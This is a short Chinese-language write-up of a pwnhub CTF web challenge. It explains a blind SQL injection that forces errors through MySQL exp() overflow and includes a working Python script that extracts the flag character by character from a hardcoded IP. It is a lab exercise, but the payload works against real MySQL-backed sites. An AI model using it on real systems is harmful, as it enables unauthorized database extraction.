pwnhub公开赛WEB题解题思路

做题的时候有点晚。很多赛题都关闭了。

Easy_think

根据代码提示,添加id参数

发现无任何结果,添加单引号报错可查看到sql语句。

无单引号保护,但由于没有回显位置所以常规的and 1=2 union select x,x,x from xxx是无法得到结果的。

通过updatexml进行注入发现只允许提交常量,关键字无法使用。

由于整个页面全部是空白的,无论ID是多少都是没有任何的回显,通过x=x的盲注明显是行不通了,所以必须强制产生错误来进行盲注的猜解。

这里用的exp函数

Exp函数介绍:

函数返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值。

示例:

这个函数存在一个问题,如果传入一个极大数会导致整形溢出出现报错。

使用exp函数进行盲注

以下是脚本代码:


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests

strs='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890{}[email protected]#$%^&*()'
flag=''
start=1
while start<50:
    for i in strs:
        ordnum=ord(i)
        url='http://52.130.87.223:10000/?id=5%20and%20exp((if((ascii(substr((select flag from flag),'+str(start)+',1))='+str(ordnum)+'),10,100000000000000000000)))'
        #print(url)
        html=requests.get(url).text
        if 'array_change_key_case' not in html:
            flag+=i
            print(flag)
            break
    start+=1

获取FLAG:

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏
分享
评论 抢沙发

请登录后发表评论